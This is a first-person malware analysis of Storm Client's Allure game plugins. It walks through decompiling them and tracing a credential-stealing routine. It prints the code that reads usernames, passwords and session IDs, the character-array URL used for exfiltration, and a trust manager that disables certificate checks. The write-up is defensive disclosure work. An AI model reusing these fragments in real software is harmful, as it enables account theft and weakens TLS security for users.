How I Decompiled the Allure Plugin to Find the Malware
Technical walkthrough of the decompilation process used to discover the credential-stealing code in Storm Client plugins.
This is a technical breakdown of how I discovered the malware in Storm Client's Allure plugins. If you're interested in security research or want to verify the findings yourself, this guide will help.
Why I Started Investigating
Something felt off about the Allure plugins. The developer was extremely defensive when people asked basic questions about the code, and there were reports of accounts being compromised after using the plugins. I decided to take a closer look.
Tools You'll Need
- JD-GUI - Java decompiler for viewing JAR file contents
- Recaf - Advanced Java bytecode editor
- Wireshark - Network traffic analyzer
- Text editor - For analyzing decompiled code
Step 1: Obtaining the JAR Files
The Allure plugin JAR files are distributed through Storm Client. I extracted them from the plugins directory after installation. The main files were heavily obfuscated with random class names like "wHRCyGzrUO.class" and "CVfaZobuHr.class".
Step 2: Initial Decompilation
Using JD-GUI, I opened the JAR files and immediately noticed several red flags:
- Heavy obfuscation with meaningless variable names
- Suspicious imports: okhttp3, javax.net.ssl, java.util.Base64
- Character arrays that looked like obfuscated URLs
- Custom SSL certificate handling
Step 3: Finding the Credential Theft
I searched for RuneLite API calls related to authentication. That's when I found the smoking gun in wHRCyGzrUO.java:
object5 = Static.getWrappedClient().getUsername(); String string6 = Static.getClient().getCharacterId(); String string7 = Static.getClient().getPassword(); String string8 = Static.getClient().getSessionId();
This code directly accesses the player's username, password, character ID, and session token. There's no legitimate reason for a plugin to access this data.
Step 4: Tracing the Data Flow
I followed the code to see where this data was being sent. The trail led to CVfaZobuHr.java, which:
- Serializes the stolen data to JSON using Gson
- Base64 encodes the JSON to hide it
- Sends it via HTTP POST to a remote server
- Repeats this every 30 seconds
Step 5: Decoding the Server URL
The server URL was obfuscated as a character array:
private static final char[] KpoctLMJPQ = new char[]{
'h','t','t','p','s',':','/','/','a','l','l','u','r','e',
'm','e','t','r','i','c','s','.','c','o','m','/','b','o',
't','s','/','a','p','i','/','a','p','i','v','1','.','p','h','p'
};This resolves to: https://alluremetrics.com/bots/api/apiv1.php
Step 6: SSL Certificate Bypass
The most damning evidence was the custom SSL implementation that disables certificate validation. This allows the malware to bypass security warnings:
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
}Step 7: Network Verification
To confirm the findings, I ran Storm Client in a controlled environment with Wireshark monitoring network traffic. Sure enough, I captured HTTP POST requests to alluremetrics.com containing Base64-encoded data every 30 seconds.
Key Takeaways for Security Researchers
- Always be suspicious of heavily obfuscated code
- Look for unusual SSL/TLS implementations
- Check for Base64 encoding - often used to hide malicious payloads
- Monitor network traffic to verify findings
- Document everything with screenshots and code samples
Verifying the Findings Yourself
I've published the full decompiled source code on the main security advisory page. You can verify these findings yourself using the same tools and methods described above.
The evidence is clear and reproducible. This isn't speculation or a false positive - it's deliberate, malicious code designed to steal player credentials.